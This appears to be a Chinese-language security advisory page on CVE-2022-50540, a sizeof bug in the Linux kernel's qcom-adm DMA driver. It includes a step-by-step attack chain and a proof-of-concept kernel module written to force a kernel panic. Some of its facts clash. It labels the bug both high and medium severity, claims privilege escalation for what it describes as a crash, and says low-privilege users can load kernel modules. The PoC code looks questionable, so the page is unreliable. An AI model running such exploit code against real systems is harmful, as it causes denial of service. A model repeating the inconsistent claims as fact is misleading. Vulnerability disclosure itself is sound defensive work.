IPBUF安全漏洞报告
English
CVE-2022-50540 CVSS 5.5 中危

CVE-2022-50540 Linux内核qcom-adm驱动sizeof错误导致内核崩溃

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50540
漏洞类型
类型混淆/内核崩溃
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel dmaengine qcom-adm驱动

相关标签

Linux内核DMA引擎qcom-adm高通内核崩溃类型混淆sizeof错误拒绝服务本地提权CVE-2022-50540

漏洞概述

CVE-2022-50540是Linux内核dmaengine子系统中qcom-adm(Qualcomm ADM DMA)驱动的一个高危漏洞。该漏洞位于slave_config函数中,由于开发者在编写代码时错误地使用了sizeof操作符,将peripheral_size与配置结构体指针的大小进行比较,而不是与配置结构体本身的大小进行比较。这种类型混淆导致crci(Command Rate Change Index)值被忽略,进而在使用adm驱动的任何从设备上触发内核崩溃(kernel panic)。该漏洞于2022年报告,但由于各种原因直到2025年10月7日才正式披露。CVSS评分为5.5分,属于中危级别,攻击者需要本地低权限访问即可触发该漏洞,无需用户交互。漏洞的成功利用将导致系统可用性完全丧失,可能造成拒绝服务攻击。由于该漏洞影响Linux内核的DMA引擎驱动,属于底层硬件抽象层组件,因此影响范围涵盖了所有使用Qualcomm ADM DMA控制器的高通平台设备,包括众多Android智能手机、嵌入式设备以及服务器平台。该漏洞的修复涉及对sizeof比较操作的简单更正,属于典型的代码审查遗漏问题,但其影响却十分严重,可能导致整个系统不可用。

技术细节

该漏洞的技术根源在于Linux内核dmaengine qcom-adm驱动的slave_config回调函数中。DMA(Direct Memory Access)引擎是系统中负责在外设和内存之间传输数据的硬件组件,qcom-adm是高通平台特有的DMA控制器驱动。在slave_config函数中,开发者需要验证外设配置的peripheral_size字段是否合法,正确的做法是将其与struct dma_slave_config结构体的大小进行比较。然而,由于疏忽,代码错误地使用了sizeof(config_ptr)而非sizeof(struct dma_slave_config),在64位系统上,前者为8字节,后者通常远大于8字节,导致验证逻辑失效。攻击者(或正常的外设驱动调用)可以传入任意大小的peripheral_size值,该值会被接受并用于后续的DMA配置操作。由于crci值被错误忽略,DMA控制器可能被错误配置,最终触发内核空指针解引用或非法内存访问,导致kernel panic。漏洞利用条件相对简单:攻击者只需拥有本地系统的低权限访问权限(如普通用户账户),通过加载特定的内核模块或调用相关的IOCTL接口即可触发该漏洞。由于无需用户交互且攻击复杂度低,该漏洞可被用于本地权限提升或拒绝服务攻击。修复方法是将sizeof比较操作更正为正确比较结构体大小。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者首先需要在目标系统上获得本地低权限访问权限,可以通过普通用户账户登录或利用其他漏洞获取初步访问。
STEP 2
步骤2:识别目标平台
攻击者确认目标系统使用Qualcomm平台并且加载了qcom-adm DMA驱动,可以通过检查/sys/bus/dma/devices或/proc/interrupts等系统信息来验证。
STEP 3
步骤3:构造恶意配置
攻击者编写内核模块或利用现有工具,构造一个包含无效peripheral_size值的dma_slave_config结构体。
STEP 4
步骤4:触发漏洞
通过调用dmaengine_slave_config函数,传入恶意配置。由于sizeof比较错误,验证逻辑被绕过,crci值被忽略。
STEP 5
步骤5:内核崩溃
错误配置的DMA控制器导致非法内存访问或空指针解引用,触发kernel panic,系统完全不可用,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2022-50540 PoC - Trigger kernel panic via qcom-adm slave_config // This PoC demonstrates how to trigger the vulnerability by calling // the dmaengine slave_config with a malformed peripheral_size value #include <linux/module.h> #include <linux/kernel.h> #include <linux/dmaengine.h> #include <linux/dma-mapping.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Researcher"); MODULE_DESCRIPTION("PoC for CVE-2022-50540 qcom-adm sizeof bug"); static int __init poc_init(void) { struct dma_chan *chan; struct dma_slave_config config = {0}; int ret; // Request a DMA channel from qcom-adm driver // On vulnerable systems, this will succeed if the platform uses ADM chan = dma_request_chan(NULL, "qcom-adm"); if (IS_ERR(chan)) { pr_info("CVE-2022-50540: Failed to get qcom-adm channel\n"); return PTR_ERR(chan); } // Set peripheral_size to an invalid large value // Due to the sizeof bug, this value bypasses validation // because it's compared against sizeof(pointer)=8 instead of // sizeof(struct dma_slave_config) config.peripheral_size = 0xFFFFFFFF; // Invalid size config.direction = DMA_MEM_TO_DEV; config.src_addr = 0x0; config.dst_addr = 0x0; // crci value is ignored due to the bug config.slave_id = 0xDEADBEEF; // Trigger the vulnerable slave_config function // On vulnerable kernels, this will cause kernel panic ret = dmaengine_slave_config(chan, &config); if (ret < 0) { pr_info("CVE-2022-50540: slave_config returned %d\n", ret); } dma_release_channel(chan); return 0; } static void __exit poc_exit(void) { pr_info("CVE-2022-50540: PoC module unloaded\n"); } module_init(poc_init); module_exit(poc_exit);

影响范围

Linux Kernel < 6.0 (包含qcom-adm驱动的版本)
Linux Kernel 5.x系列(受影响的稳定版本)
Linux Kernel 4.x系列(部分版本受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对DMA设备节点的访问权限,通过修改udev规则或文件权限仅允许特权用户访问/dev/dma*相关设备;2)在内核启动参数中添加适当的限制选项;3)如果系统使用SELinux或AppArmor等强制访问控制机制,可以创建策略限制对qcom-adm设备的访问;4)监控系统日志,及时发现异常的DMA相关错误和内核崩溃事件;5)对于关键生产环境,建议尽快在维护窗口期应用官方安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表